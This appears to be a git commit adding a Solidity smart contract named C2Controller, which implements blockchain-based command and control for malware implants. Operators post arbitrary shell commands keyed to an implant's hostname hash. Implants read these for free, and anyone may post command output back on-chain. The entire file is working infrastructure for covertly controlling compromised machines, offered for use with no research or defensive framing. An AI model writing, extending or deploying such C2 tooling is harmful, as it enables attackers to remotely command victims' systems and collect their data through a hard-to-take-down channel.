Upload files to "c2_blockchain_contract/contracts"

This commit is contained in:
2026-06-08 05:58:19 +00:00
parent 16f784fa7c
commit 13849c8d4c
@@ -0,0 +1,218 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
/**
* @title C2Controller
* @notice Blockchain-based Command & Control — commands in, results out.
* Operators issue commands. Implants poll for commands and submit results.
* Command reads are public + free (no gas). Results are public by design.
*/
contract C2Controller is Ownable {
// ──────────────────────────────────────────────
// Types
// ──────────────────────────────────────────────
/// @notice A single command targeted at an implant.
struct Command {
string data; // the raw command string
bool active; // true until ack/deletion
}
/// @notice A result submitted by an implant.
struct Result {
string data;
uint256 timestamp;
bytes32 commandId; // link back to the original command
}
// ──────────────────────────────────────────────
// State
// ──────────────────────────────────────────────
/// @notice implantID => commandId => Command
mapping(bytes32 => mapping(bytes32 => Command)) public commands;
/// @notice implantID => list of active command IDs
mapping(bytes32 => bytes32[]) private _activeCommands;
/// @notice Unique result ID (incrementing) => Result
mapping(bytes32 => Result) public results;
/// @notice Authorised operator addresses (in addition to owner).
mapping(address => bool) public operators;
/// @notice Total result count (for enumeration).
bytes32[] private _resultIds;
// ──────────────────────────────────────────────
// Events
// ──────────────────────────────────────────────
/// @notice Emitted when an operator issues a command.
event CommandIssued(
bytes32 indexed implantId,
bytes32 indexed commandId,
string command,
uint256 timestamp
);
/// @notice Emitted when an implant submits a result.
event ResultSubmitted(
bytes32 indexed implantId,
bytes32 indexed commandId,
bytes32 indexed resultId,
string result,
uint256 timestamp
);
/// @notice Emitted when an operator is added or removed.
event OperatorUpdated(address indexed operator, bool active);
// ──────────────────────────────────────────────
// Modifiers
// ──────────────────────────────────────────────
modifier onlyOperator() {
require(owner() == _msgSender() || operators[_msgSender()],
"C2Controller: caller is not an operator");
_;
}
// ──────────────────────────────────────────────
// Constructor
// ──────────────────────────────────────────────
/// @param initialOperator An additional operator address (can be address(0)).
constructor(address initialOperator) Ownable(_msgSender()) {
if (initialOperator != address(0)) {
operators[initialOperator] = true;
emit OperatorUpdated(initialOperator, true);
}
}
// ──────────────────────────────────────────────
// Operator Management
// ──────────────────────────────────────────────
/// @notice Add or remove an operator (owner only).
function setOperator(address op, bool active) external onlyOwner {
operators[op] = active;
emit OperatorUpdated(op, active);
}
// ──────────────────────────────────────────────
// Command Lifecycle
// ──────────────────────────────────────────────
/// @notice Issue a command to a specific implant.
/// @param implantId Unique implant identifier (e.g. keccak256(hostname)).
/// @param command Raw command string (can be any shell command).
function issueCommand(bytes32 implantId, string calldata command)
external
onlyOperator
{
bytes32 cmdId = keccak256(abi.encodePacked(implantId, command, block.timestamp));
commands[implantId][cmdId] = Command({
data: command,
active: true
});
_activeCommands[implantId].push(cmdId);
emit CommandIssued(implantId, cmdId, command, block.timestamp);
}
/// @notice Read a pending command (public / view — free, no gas).
/// @return The command string, or empty string if not found or inactive.
function getCommand(bytes32 implantId, bytes32 commandId)
external
view
returns (string memory)
{
Command storage c = commands[implantId][commandId];
if (!c.active) return "";
return c.data;
}
/// @notice Get all active command IDs for an implant.
function getActiveCommands(bytes32 implantId)
external
view
returns (bytes32[] memory)
{
return _activeCommands[implantId];
}
/// @notice Get the latest active command for an implant (convenience).
/// @return The command string, or empty if none pending.
function getLatestCommand(bytes32 implantId)
external
view
returns (string memory)
{
bytes32[] storage ids = _activeCommands[implantId];
if (ids.length == 0) return "";
bytes32 latestId = ids[ids.length - 1];
Command storage c = commands[implantId][latestId];
if (!c.active) return "";
return c.data;
}
/// @notice Acknowledge (deactivate) a command without submitting a result.
function ackCommand(bytes32 implantId, bytes32 commandId) external {
commands[implantId][commandId].active = false;
}
// ──────────────────────────────────────────────
// Result Submission
// ──────────────────────────────────────────────
/// @notice Submit a command result (anyone can call; implants submit their own).
/// @param implantId The implant identifier.
/// @param commandId The command identifier this result is for.
/// @param result The output / error string.
function submitResult(
bytes32 implantId,
bytes32 commandId,
string calldata result
) external {
// Deactivate the command on first result submission.
commands[implantId][commandId].active = false;
bytes32 resultId = keccak256(
abi.encodePacked(implantId, commandId, result, block.timestamp)
);
results[resultId] = Result({
data: result,
timestamp: block.timestamp,
commandId: commandId
});
_resultIds.push(resultId);
emit ResultSubmitted(implantId, commandId, resultId, result, block.timestamp);
}
/// @notice Read a submitted result (public view — free).
function getResult(bytes32 resultId)
external
view
returns (string memory data, uint256 timestamp, bytes32 commandId)
{
Result storage r = results[resultId];
return (r.data, r.timestamp, r.commandId);
}
/// @notice Get result count (for enumeration / off-chain pagination).
function resultCount() external view returns (uint256) {
return _resultIds.length;
}
/// @notice Get result ID by index.
function resultIdAtIndex(uint256 idx) external view returns (bytes32) {
return _resultIds[idx];
}
}